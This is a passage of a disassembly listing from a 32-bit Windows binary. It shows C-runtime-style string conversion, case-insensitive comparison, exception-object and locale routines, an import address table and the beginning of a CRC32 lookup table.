CODE XREF: sub_426642+13j push [ebp+arg_4] push [ebp+arg_0] call sub_42666F mov eax, [ebp+arg_4] add esp, 10h pop ebp retn sub_426642 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42666F proc near ; CODE XREF: sub_426642+20p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp cmp [ebp+arg_C], 0 mov ecx, [ebp+arg_4] push ebx push esi push edi jz short loc_426689 mov esi, [ebp+arg_0] mov byte ptr [ecx], 2Dh inc ecx neg esi jmp short loc_42668C ; --------------------------------------------------------------------------- loc_426689: ; CODE XREF: sub_42666F+Dj mov esi, [ebp+arg_0] loc_42668C: ; CODE XREF: sub_42666F+18j mov edi, ecx loc_42668E: ; CODE XREF: sub_42666F+43j mov eax, esi xor edx, edx div [ebp+arg_8] mov eax, esi mov ebx, edx xor edx, edx div [ebp+arg_8] cmp ebx, 9 mov esi, eax jbe short loc_4266AA add bl, 57h jmp short loc_4266AD ; --------------------------------------------------------------------------- loc_4266AA: ; CODE XREF: sub_42666F+34j add bl, 30h loc_4266AD: ; CODE XREF: sub_42666F+39j mov [ecx], bl inc ecx test esi, esi ja short loc_42668E and byte ptr [ecx], 0 dec ecx loc_4266B8: ; CODE XREF: sub_42666F+55j mov dl, [edi] mov al, [ecx] mov [ecx], dl mov [edi], al dec ecx inc edi cmp edi, ecx jb short loc_4266B8 pop edi pop esi pop ebx pop ebp retn sub_42666F endp ; =============== S U B R O U T I N E ======================================= sub_4266CB proc near ; CODE XREF: sub_4175C4+E2p ; sub_4175C4+F9p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 cmp dword_4D97D0, 0 push ebx jnz short loc_426711 mov edx, [esp+4+arg_4] mov ecx, [esp+4+arg_0] loc_4266DD: ; CODE XREF: sub_4266CB+42j mov bx, [ecx] cmp bx, 5Ah ja short loc_4266EF cmp bx, 41h jb short loc_4266EF add ebx, 20h loc_4266EF: ; CODE XREF: sub_4266CB+19j ; sub_4266CB+1Fj mov ax, [edx] cmp ax, 5Ah ja short loc_426701 cmp ax, 41h jb short loc_426701 add eax, 20h loc_426701: ; CODE XREF: sub_4266CB+2Bj ; sub_4266CB+31j inc ecx inc ecx inc edx inc edx test bx, bx jz short loc_426741 cmp bx, ax jz short loc_4266DD jmp short loc_426741 ; --------------------------------------------------------------------------- loc_426711: ; CODE XREF: sub_4266CB+8j push esi mov esi, [esp+8+arg_0] push edi mov edi, [esp+0Ch+arg_4] loc_42671B: ; CODE XREF: sub_4266CB+72j mov ax, [esi] inc esi push eax inc esi call sub_42687C mov ebx, eax mov ax, [edi] inc edi push eax inc edi call sub_42687C pop ecx test bx, bx pop ecx jz short loc_42673F cmp bx, ax jz short loc_42671B loc_42673F: ; CODE XREF: sub_4266CB+6Dj pop edi pop esi loc_426741: ; CODE XREF: sub_4266CB+3Dj ; sub_4266CB+44j movzx ecx, ax movzx eax, bx sub eax, ecx pop ebx retn sub_4266CB endp ; =============== S U B R O U T I N E ======================================= sub_42674B proc near ; CODE XREF: ___:00426763p mov dword ptr [ecx], offset off_427D30 mov ecx, [ecx+4] test ecx, ecx jz short locret_42675F push ecx call sub_41BA31 pop ecx locret_42675F: ; CODE XREF: sub_42674B+Bj retn sub_42674B endp ; --------------------------------------------------------------------------- loc_426760: ; DATA XREF: ___:off_427D30o push esi mov esi, ecx call sub_42674B test byte ptr [esp+8], 1 jz short loc_426776 push esi call sub_41D3EF pop ecx loc_426776: ; CODE XREF: ___:0042676Dj mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_42677C: ; DATA XREF: ___:off_427D38o push esi mov esi, ecx call sub_42681F test byte ptr [esp+8], 1 jz short loc_426792 push esi call sub_41D3EF pop ecx loc_426792: ; CODE XREF: ___:00426789j mov eax, esi pop esi retn 4 ; =============== S U B R O U T I N E ======================================= sub_426798 proc near ; CODE XREF: sub_4263DE+1Dp ; sub_4264B0+1Dp arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 push dword ptr [edi] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_4267C7 push dword ptr [edi] push eax call sub_41C620 pop ecx pop ecx loc_4267C7: ; CODE XREF: sub_426798+23j mov dword ptr [esi+8], 1 mov eax, esi pop edi pop esi retn 4 sub_426798 endp ; =============== S U B R O U T I N E ======================================= sub_4267D5 proc near ; CODE XREF: sub_4264F8+16p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] mov esi, ecx mov dword ptr [esi], offset off_427D38 mov eax, [edi+8] test eax, eax mov [esi+8], eax jz short loc_426812 push dword ptr [edi+4] call sub_41B960 inc eax push eax call sub_41D735 pop ecx mov [esi+4], eax test eax, eax pop ecx jz short loc_426818 push dword ptr [edi+4] push eax call sub_41C620 pop ecx pop ecx jmp short loc_426818 ; --------------------------------------------------------------------------- loc_426812: ; CODE XREF: sub_4267D5+16j mov eax, [edi+4] mov [esi+4], eax loc_426818: ; CODE XREF: sub_4267D5+2Ej ; sub_4267D5+3Bj mov eax, esi pop edi pop esi retn 4 sub_4267D5 endp ; =============== S U B R O U T I N E ======================================= sub_42681F proc near ; CODE XREF: sub_42639A+16j ; ___:0042677Fp ... cmp dword ptr [ecx+8], 0 mov dword ptr [ecx], offset off_427D38 jz short locret_426834 push dword ptr [ecx+4] call sub_41D3EF pop ecx locret_426834: ; CODE XREF: sub_42681F+Aj retn sub_42681F endp ; =============== S U B R O U T I N E ======================================= sub_426835 proc near ; DATA XREF: ___:00427D3Co mov eax, [ecx+4] test eax, eax jnz short locret_426841 mov eax, offset aUnknownExcepti ; "Unknown exception" locret_426841: ; CODE XREF: sub_426835+5j retn sub_426835 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426842 proc near ; CODE XREF: sub_426453+37p ; sub_42657A+3Ep ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_C = byte ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push edi push 8 pop ecx mov esi, offset dword_427D58 lea edi, [ebp+var_20] rep movsd mov [ebp+var_8], eax mov eax, [ebp+arg_4] mov [ebp+var_4], eax lea eax, [ebp+var_C] push eax push [ebp+var_10] push [ebp+var_1C] push [ebp+var_20] nop call near ptr 266044Bh pop edi pop esi leave retn 8 sub_426842 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_42687C proc near ; CODE XREF: sub_4266CB+56p ; sub_4266CB+63p var_2 = word ptr -2 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] cmp ax, 0FFFFh jnz short loc_42688E or ax, ax leave retn ; --------------------------------------------------------------------------- loc_42688E: ; CODE XREF: sub_42687C+Bj cmp dword_4D97D0, 0 jnz short loc_4268A8 cmp ax, 41h jb short locret_4268EF cmp ax, 5Ah ja short locret_4268EF add eax, 20h leave retn ; --------------------------------------------------------------------------- loc_4268A8: ; CODE XREF: sub_42687C+19j cmp ax, 100h jnb short loc_4268C2 push 1 push eax call sub_426B2A pop ecx test eax, eax pop ecx jnz short loc_4268C2 mov ax, word ptr [ebp+arg_0] leave retn ; --------------------------------------------------------------------------- loc_4268C2: ; CODE XREF: sub_42687C+30j ; sub_42687C+3Ej push 0 lea eax, [ebp+var_2] push 1 push eax lea eax, [ebp+arg_0] push 1 push eax push 100h push dword_4D97D0 call sub_4268F1 add esp, 1Ch test eax, eax mov ax, word ptr [ebp+arg_0] jz short locret_4268EF mov ax, [ebp+var_2] locret_4268EF: ; CODE XREF: sub_42687C+1Fj ; sub_42687C+25j ... leave retn sub_42687C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4268F1 proc near ; CODE XREF: sub_42687C+5Fp var_2C = dword ptr -2Ch var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D78 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp xor esi, esi cmp dword_4D9A24, esi jnz short loc_426967 push esi push esi push 1 pop ebx push ebx push offset dword_427908 mov edi, 100h push edi push esi nop call near ptr 2640000h test eax, eax jz short loc_426945 mov dword_4D9A24, ebx jmp short loc_426967 ; --------------------------------------------------------------------------- loc_426945: ; CODE XREF: sub_4268F1+4Aj push esi push esi push ebx push offset word_4C91BC push edi push esi nop call near ptr 2650000h test eax, eax jz loc_426AE6 mov dword_4D9A24, 2 loc_426967: ; CODE XREF: sub_4268F1+2Ej ; sub_4268F1+52j cmp [ebp+arg_C], esi jle short loc_42697C push [ebp+arg_C] push [ebp+arg_8] call sub_426AFA pop ecx pop ecx mov [ebp+arg_C], eax loc_42697C: ; CODE XREF: sub_4268F1+79j mov eax, dword_4D9A24 cmp eax, 1 jnz short loc_4269A3 push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2640000h jmp loc_426AE8 ; --------------------------------------------------------------------------- loc_4269A3: ; CODE XREF: sub_4268F1+93j cmp eax, 2 jnz loc_426AE6 cmp [ebp+arg_18], esi jnz short loc_4269B9 mov eax, dword_4D97E0 mov [ebp+arg_18], eax loc_4269B9: ; CODE XREF: sub_4268F1+BEj push esi push esi push esi push esi push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] call near ptr 28410D6h nop mov [ebp+var_20], eax cmp eax, esi jz loc_426AE6 mov [ebp+var_4], esi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_1C], eax jmp short loc_4269FF ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi mov [ebp+var_1C], esi loc_4269FF: ; CODE XREF: sub_4268F1+100j or [ebp+var_4], 0FFFFFFFFh cmp [ebp+var_1C], esi jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_C] push [ebp+arg_8] push 220h push [ebp+arg_18] nop call near ptr 28410D6h test eax, eax jz loc_426AE6 push esi push esi push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h mov edi, eax mov [ebp+var_2C], edi cmp edi, esi jz loc_426AE6 mov [ebp+var_4], 1 add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx or [ebp+var_4], 0FFFFFFFFh jmp short loc_426A82 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor esi, esi xor ebx, ebx or [ebp+var_4], 0FFFFFFFFh mov edi, [ebp+var_2C] loc_426A82: ; CODE XREF: sub_4268F1+17Dj cmp ebx, esi jz short loc_426AE6 push edi push ebx push [ebp+var_20] push [ebp+var_1C] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2650000h test eax, eax jz short loc_426AE6 test byte ptr [ebp+arg_4+1], 4 jz short loc_426AC0 mov eax, [ebp+arg_14] cmp eax, esi jz short loc_426AE2 cmp eax, edi jl short loc_426AB1 mov eax, edi loc_426AB1: ; CODE XREF: sub_4268F1+1BCj push eax push ebx push [ebp+arg_10] call sub_41BD70 add esp, 0Ch jmp short loc_426AE2 ; --------------------------------------------------------------------------- loc_426AC0: ; CODE XREF: sub_4268F1+1B1j cmp [ebp+arg_14], esi jnz short loc_426AC9 push esi push esi jmp short loc_426ACF ; --------------------------------------------------------------------------- loc_426AC9: ; CODE XREF: sub_4268F1+1D2j push [ebp+arg_14] push [ebp+arg_10] loc_426ACF: ; CODE XREF: sub_4268F1+1D6j push edi push ebx push 1 push [ebp+arg_18] nop call near ptr 2710000h mov edi, eax cmp edi, esi jz short loc_426AE6 loc_426AE2: ; CODE XREF: sub_4268F1+1B8j ; sub_4268F1+1CDj mov eax, edi jmp short loc_426AE8 ; --------------------------------------------------------------------------- loc_426AE6: ; CODE XREF: sub_4268F1+66j ; sub_4268F1+B5j ... xor eax, eax loc_426AE8: ; CODE XREF: sub_4268F1+ADj ; sub_4268F1+1F3j lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_4268F1 endp ; =============== S U B R O U T I N E ======================================= sub_426AFA proc near ; CODE XREF: sub_4268F1+81p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_4] mov eax, [esp+arg_0] test edx, edx push esi lea ecx, [edx-1] jz short loc_426B19 loc_426B0A: ; CODE XREF: sub_426AFA+1Dj cmp word ptr [eax], 0 jz short loc_426B19 inc eax mov esi, ecx inc eax dec ecx test esi, esi jnz short loc_426B0A loc_426B19: ; CODE XREF: sub_426AFA+Ej ; sub_426AFA+14j cmp word ptr [eax], 0 pop esi jnz short loc_426B27 sub eax, [esp+arg_0] sar eax, 1 retn ; --------------------------------------------------------------------------- loc_426B27: ; CODE XREF: sub_426AFA+24j mov eax, edx retn sub_426AFA endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B2A proc near ; CODE XREF: sub_42687C+35p var_4 = dword ptr -4 arg_0 = word ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp push ecx cmp [ebp+arg_0], 0FFFFh jz short loc_426B6A cmp [ebp+arg_0], 100h jnb short loc_426B4E movzx eax, [ebp+arg_0] mov ecx, off_43A684 mov ax, [ecx+eax*2] jmp short loc_426B71 ; --------------------------------------------------------------------------- loc_426B4E: ; CODE XREF: sub_426B2A+12j push 0 lea eax, [ebp+var_4] push 0 push eax lea eax, [ebp+arg_0] push 1 push eax push 1 call sub_426B7C add esp, 18h test eax, eax jnz short loc_426B6E loc_426B6A: ; CODE XREF: sub_426B2A+Aj xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_426B6E: ; CODE XREF: sub_426B2A+3Ej mov eax, [ebp+var_4] loc_426B71: ; CODE XREF: sub_426B2A+22j movzx ecx, [ebp+arg_4] movzx eax, ax and eax, ecx leave retn sub_426B2A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_426B7C proc near ; CODE XREF: sub_426B2A+34p var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_427D90 push offset sub_4233C0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 1Ch push ebx push esi push edi mov [ebp+var_18], esp mov eax, dword_4D9A28 xor edi, edi cmp eax, edi jnz short loc_426BEB lea eax, [ebp+var_1C] push eax push 1 pop esi push esi push offset dword_427908 push esi call near ptr 2600000h nop test eax, eax jz short loc_426BC9 mov eax, esi jmp short loc_426BE6 ; --------------------------------------------------------------------------- loc_426BC9: ; CODE XREF: sub_426B7C+47j lea eax, [ebp+var_1C] push eax push esi push offset word_4C91BC push esi push edi nop call near ptr 2610000h test eax, eax jz loc_426D2D push 2 pop eax loc_426BE6: ; CODE XREF: sub_426B7C+4Bj mov dword_4D9A28, eax loc_426BEB: ; CODE XREF: sub_426B7C+2Fj cmp eax, 1 jnz short loc_426C07 push [ebp+arg_C] push [ebp+arg_8] push [ebp+arg_4] push [ebp+arg_0] nop call near ptr 2600000h jmp loc_426D2F ; --------------------------------------------------------------------------- loc_426C07: ; CODE XREF: sub_426B7C+72j cmp eax, 2 jnz loc_426D2D cmp [ebp+arg_10], edi jnz short loc_426C1D mov eax, dword_4D97E0 mov [ebp+arg_10], eax loc_426C1D: ; CODE XREF: sub_426B7C+97j push edi push edi push edi push edi push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] call near ptr 28410D6h nop mov esi, eax mov [ebp+var_28], esi cmp esi, edi jz loc_426D2D mov [ebp+var_4], edi add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov eax, esp mov [ebp+var_2C], eax push esi push edi push eax call sub_41BD10 add esp, 0Ch or [ebp+var_4], 0FFFFFFFFh jmp short loc_426C7B ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi mov [ebp+var_2C], edi or [ebp+var_4], 0FFFFFFFFh mov esi, [ebp+var_28] loc_426C7B: ; CODE XREF: sub_426B7C+EAj cmp [ebp+var_2C], edi jz loc_426D2D push edi push edi push esi push [ebp+var_2C] push [ebp+arg_8] push [ebp+arg_4] push 220h push [ebp+arg_10] nop call near ptr 28410D6h test eax, eax jz loc_426D2D mov [ebp+var_4], 1 lea eax, [esi+esi+2] add eax, 3 and al, 0FCh call sub_41C2A0 mov [ebp+var_18], esp mov ebx, esp mov [ebp+var_24], ebx jmp short loc_426CD0 ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] xor edi, edi xor ebx, ebx loc_426CD0: ; CODE XREF: sub_426B7C+147j or [ebp+var_4], 0FFFFFFFFh cmp ebx, edi jz short loc_426D2D mov eax, [ebp+arg_14] cmp eax, edi jnz short loc_426CE4 mov eax, dword_4D97D0 loc_426CE4: ; CODE XREF: sub_426B7C+161j mov ecx, [ebp+arg_8] lea edi, [ecx+ecx] lea esi, [edi+ebx] or word ptr [esi], 0FFFFh or word ptr [esi-2], 0FFFFh push ebx push [ebp+var_28] push [ebp+var_2C] push [ebp+arg_0] push eax nop call near ptr 2610000h mov [ebp+var_20], eax cmp word ptr [esi-2], 0FFFFh jz short loc_426D2D cmp word ptr [esi], 0FFFFh jnz short loc_426D2D push edi push ebx push [ebp+arg_C] call sub_41D400 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_426D2F ; --------------------------------------------------------------------------- loc_426D2D: ; CODE XREF: sub_426B7C+61j ; sub_426B7C+8Ej ... xor eax, eax loc_426D2F: ; CODE XREF: sub_426B7C+86j ; sub_426B7C+1AFj lea esp, [ebp-38h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn sub_426B7C endp ; --------------------------------------------------------------------------- align 4 ; =============== S U B R O U T I N E ======================================= sub_426D44 proc near ; DATA XREF: ___:00427F44o ; FUNCTION CHUNK AT 0040D75D SIZE 00000008 BYTES lea ecx, [ebp-38h] jmp loc_40D75D sub_426D44 endp ; --------------------------------------------------------------------------- mov eax, [ebp-20h] and eax, 1 test eax, eax jz locret_426D62 mov ecx, [ebp+8] jmp loc_40D75D ; --------------------------------------------------------------------------- locret_426D62: ; CODE XREF: ___:00426D54j retn ; --------------------------------------------------------------------------- loc_426D63: ; DATA XREF: sub_40D327o mov eax, offset dword_427F18 jmp loc_41D08B ; --------------------------------------------------------------------------- align 10h lea ecx, [ebp+14h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D78: ; DATA XREF: ___:00427F74o lea ecx, [ebp-1Ch] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426D80: ; DATA XREF: sub_40D4C9o mov eax, offset dword_427F48 jmp loc_41D08B ; --------------------------------------------------------------------------- align 4 loc_426D8C: ; DATA XREF: sub_40DA40o mov eax, offset dword_427F78 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426D9E: ; DATA XREF: sub_4263DEo mov eax, offset dword_427FD8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DB0: ; DATA XREF: sub_426453o mov eax, offset dword_428070 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-14h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DC2: ; DATA XREF: sub_4264B0o mov eax, offset dword_428094 jmp loc_41D08B ; --------------------------------------------------------------------------- mov ecx, [ebp-10h] jmp sub_42681F ; --------------------------------------------------------------------------- loc_426DD4: ; DATA XREF: sub_4264F8o mov eax, offset dword_4280B8 jmp loc_41D08B ; --------------------------------------------------------------------------- lea ecx, [ebp-20h] jmp loc_40D75D ; --------------------------------------------------------------------------- loc_426DE6: ; DATA XREF: sub_42657Ao mov eax, offset dword_428118 jmp loc_41D08B ; --------------------------------------------------------------------------- dd 84h dup(0) dd 25C0000h, 25D0000h, 25E0000h, 25E069Ch, 25F0000h, 25F0A96h dd 25F0ADDh, 25F0F7Dh, 2600000h, 2610000h, 26107E4h, 2620000h dd 262024Dh, 2620A66h, 2620C72h dword_42703C dd 2620C82h ; DATA XREF: ___:004230E1r dd 2620D20h, 2630000h, 263003Bh, 263011Bh, 2640000h, 2650000h dd 2660000h, 266044Bh, 2660A45h, 2660A61h, 2670000h, 26707BBh dd 2670C54h, 77E75CB5h dword_427078 dd 2680000h ; DATA XREF: sub_40111D+B8r ; ___:004014F9r ... dd 268033Fh, 2690000h, 26A0000h dword_427088 dd 26A053Bh ; DATA XREF: sub_40111D+29r ; sub_40C3D3+2E5r ... dword_42708C dd 26A0586h ; DATA XREF: ___:004015DCr ; sub_411694+32r dd 26A0759h dword_427094 dd 26A0840h ; DATA XREF: sub_419BAA+B9r dd 26A0E0Ah dword_42709C dd 26A0EA9h ; DATA XREF: sub_4119B7:loc_411A48r dword_4270A0 dd 26B0000h ; DATA XREF: ___:loc_4013D9r dd 26B0389h, 26B0455h dword_4270AC dd 26B04F9h ; DATA XREF: sub_4098FD+2r dd 26B065Ah, 26B06E6h dword_4270B8 dd 26B0D7Ah ; DATA XREF: ___:0040124Dr ; sub_41A9BC+8Cr dword_4270BC dd 26B0E2Fh ; DATA XREF: sub_411694:loc_411780r dd 26C0000h, 26C0AC4h dword_4270C8 dd 26C0BA5h ; DATA XREF: sub_4098FD:loc_409E0Br dword_4270CC dd 26D0000h ; DATA XREF: sub_4098FD+11r ; sub_417269+60r ... dd 26E0000h, 26F0000h, 26F0417h, 2700000h, 77F7E300h, 77F7E21Fh dd 27005ACh, 270074Fh dword_4270F0 dd 2710000h ; DATA XREF: sub_419134+Fr ; sub_41DFD4+54r ... dword_4270F4 dd 27110B5h ; DATA XREF: sub_4119B7+Br dd 2720000h, 27207C8h dword_427100 dd 2730000h ; DATA XREF: sub_418791+36r dd 27302CEh, 273066Ch, 27307F4h dword_427110 dd 2730D53h ; DATA XREF: sub_4118DE+3Ar ; sub_41A152+79r dword_427114 dd 2740000h ; DATA XREF: sub_4117E5+23r ; sub_41A152+3Br dd 27415C0h, 2750000h, 2760000h, 2760331h, 27608EEh, 2770000h dd 2780000h, 2790000h, 2790C41h, 2790EE9h, 27A0000h, 27A014Eh dd 27A043Ah, 27B0000h, 27B0817h dword_427154 dd 27C0000h ; DATA XREF: sub_417269+BCr dd 27D0000h dword_42715C dd 27E0000h ; DATA XREF: sub_41743B+21r ; sub_4175C4+4Ar dword_427160 dd 27E0B05h ; DATA XREF: sub_41743B+10r ; sub_4175C4+40r ... dd 27E0B6Ch dword_427168 dd 27F0000h ; DATA XREF: sub_4175C4+56r dd 27F01CDh, 2800000h, 2810000h, 28106FEh, 2820000h, 28202EDh dd 2820515h, 2830000h, 2830749h, 2840000h dword_427194 dd 28410D6h ; DATA XREF: sub_419062+13r ; ___:00423156r ... dd 2850000h, 285056Bh, 2850A42h, 2860000h, 2870000h, 2880000h dd 2890000h, 28A0000h, 28B0000h, 28C0000h, 28C1A9Ah, 28C1ACDh dd 28C1C6Fh, 28D0000h dword_4271D0 dd 28D04C5h ; DATA XREF: sub_41E4A2+23Fr align 8 retf ; --------------------------------------------------------------------------- db 0ACh, 0B2h, 71h align 10h dd 71AB4122h dword_4271E4 dd 71AB1746h ; DATA XREF: sub_4131AA+1DEr dd 71AB401Ch, 71AB1836h, 71AB41DAh, 71AB3F8Dh, 71AB155Ah dd 71AB3ECEh, 71AB5A01h, 71AB868Dh, 71AB12F8h, 71AB1746h dd 71AB3E5Dh dword_427214 dd 71AB5690h ; DATA XREF: sub_40E9CB+6Ar dd 71AB1A6Dh, 71AB3C22h, 71AB1AF4h, 71AB1890h, 71AB1B7Bh dd 71AB157Eh, 71AB5DE2h, 0 dword_427238 dd 0 ; DATA XREF: sub_401070+26r dd 77073096h, 0EE0E612Ch, 990951BAh, 76DC419h, 706AF48Fh dd 0E963A535h, 9E6495A3h, 0EDB8832h, 79DCB8A4h, 0E0D5E91Eh dd 97D2D988h, 9B64C2Bh, 7EB17CBDh, 0E7B82D07h, 90BF1D91h dd 1DB71064h, 6AB020F2h, 0F3B97148h, 84BE41DEh, 1ADAD47Dh dd 6DDDE4EBh, 0F4D4B551h, 83D385C7h, 136C9856h, 646BA8C0h dd 0FD62F97Ah, 8A65C9ECh, 14015C4Fh, 63066CD9h, 0FA0F3D63h dd 8D080DF5h, 3B6E20C8h, 4C69105Eh, 0D56041E4h, 0A2677172h dd 3C03E4D1h, 4B04D447h, 0D20D85FDh, 0A50AB56Bh, 35B5A8FAh dd 42B2986Ch, 0DBBBC9D6h, 0ACBCF940h, 32D86CE3h, 45DF5C75h dd 0DCD60DCFh, 0ABD13D59h, 26D930ACh, 51DE003Ah, 0C8D75180h dd 0BFD06116h, 21B4F4B5h, 56B3C423h, 0CFBA9599h, 0B8BDA50Fh dd 2802B89Eh, 5F058808h, 0C60CD9B2h, 0B10BE924h, 2F6F7C87h dd 58684C11h, 0C1611DABh, 0B6662D3Dh, 76DC4190h, 1DB7106h dd 98D220BCh, 0EFD5102Ah, 71B18589h, 6B6B51Fh, 9FBFE4A5h dd 0E8B8D433h, 7807C9A2h, 0F00F934h, 9609A88Eh, 0E10E9818h dd 7F6A0DBBh, 86D3D2Dh, 91646C97h, 0E6635C01h, 6B6B51F4h dd 1C6C6162h, 856530D8h, 0F262004Eh, 6C0695EDh, 1B01A57Bh dd 8208F4C1h, 0F50FC457h, 65B0D9C6h, 12B7E950h, 8BBEB8EAh dd 0FCB9887Ch, 62DD1DDFh, 15DA2D49h, 8CD37CF3h, 0FBD44C65h dd 4DB26158h, 3AB551CEh, 0A3BC0074h, 0D4BB30E2h, 4ADFA541h dd 3DD895D7h, 0A4D1C46Dh, 0D3D6F4FBh, 4369E96Ah, 346ED9FCh dd 0AD678846h, 0DA60B8D0h, 44042D73h, 33031DE5h, 0AA0A4C5Fh dd 0DD0D7CC9h, 5005713Ch, 270241AAh, 0BE0B1010h, 0C90C2086h dd 5768B525h, 206F85B3h, 0B966D409h, 0CE61E49Fh, 5EDEF90Eh dd 29D9C998h, 0B0D09822h, 0C7D7A8B4h, 59B33D17h, 2EB40D81h dd 0B7BD5C3Bh, 0C0BA6CADh, 0EDB88320h, 9ABFB3B6h, 3B6E20Ch dd 74B1D29Ah, 0EAD54739h, 9DD277AFh, 4DB2615h, 73DC1683h dd 0E3630B12h, 94643B84h, 0D6D6A3Eh, 7A6A5AA8h, 0E40ECF0Bh dd 9309FF9Dh, 0A00AE27h, 7D079EB1h, 0F00F9344h, 8708A3D2h dd 1E01F268h, 6906C2FEh, 0F762575Dh, 806567CBh, 196C3671h dd 6E6B06E7h, 0FED41B76h, 89D32BE0h, 10DA7A5Ah, 67DD4ACCh dd 0F9B9DF6Fh, 8EBEEFF9h, 17B7BE43h, 60B08ED5h, 0D6D6A3E8h dd 0A1D1937Eh, 38D8C2C4h, 4FDFF252h, 0D1BB67F1h, 0A6BC5767h dd 3FB506DDh, 48B2364Bh, 0D80D2BDAh, 0AF0A1B4Ch, 36034AF6h dd 41047A60h, 0DF60EFC3h, 0A867DF55h, 316E8EEFh, 4669BE79h dd 0CB61B38Ch, 0BC66831Ah, 256FD2A0h, 5268E236h, 0CC0C7795h dd 0BB0B4703h, 220216B9h, 5505262Fh, 0C5BA3BBEh, 0B2BD0B28h dd 2BB45A92h, 5CB36A04h, 0C2D7FFA7h, 0B5D0CF31h, 2CD99E8Bh dd 5BDEAE1Dh, 9B64C2B0h, 0EC63F226h, 756AA39Ch, 26D930Ah dd 9C0906A9h, 0EB0E363Fh, 72076785h, 5005713h, 95BF4A82h dd 0E2B87A14h, 7BB12BAEh, 0CB61B38h, 92D28E9Bh, 0E5D5BE0Dh dd 7CDCEFB7h, 0BDBDF21h, 86D3D2D4h, 0F1D4E242h, 68DDB3F8h dd 1FDA836Eh, 81BE16CDh, 0F6B9265Bh, 6FB077E1h, 18B74777h dd 88085AE6h, 0FF0F6A70h, 66063BCAh, 11010B5Ch, 8F659EFFh dd 0F862AE69h, 616BFFD3h, 166CCF45h, 0A00AE278h, 0D70DD2EEh dd 4E048354h, 3903B3C2h, 0A7672661h, 0D06016F7h, 4969474Dh dd 3E6E77DBh, 0AED16A4Ah, 0D9D65ADCh, 40DF0B66h, 37D83BF0h dd 0A9BCAE53h, 0DEBB9EC5h, 47B2CF7Fh, 30B5FFE9h, 0BDBDF21Ch dd 0CABAC28Ah, 53B39330h, 24B4A3A6h, 0BAD03605h, 0CDD70693h dd 54DE5729h, 23D967BFh, 0B3667A2Eh, 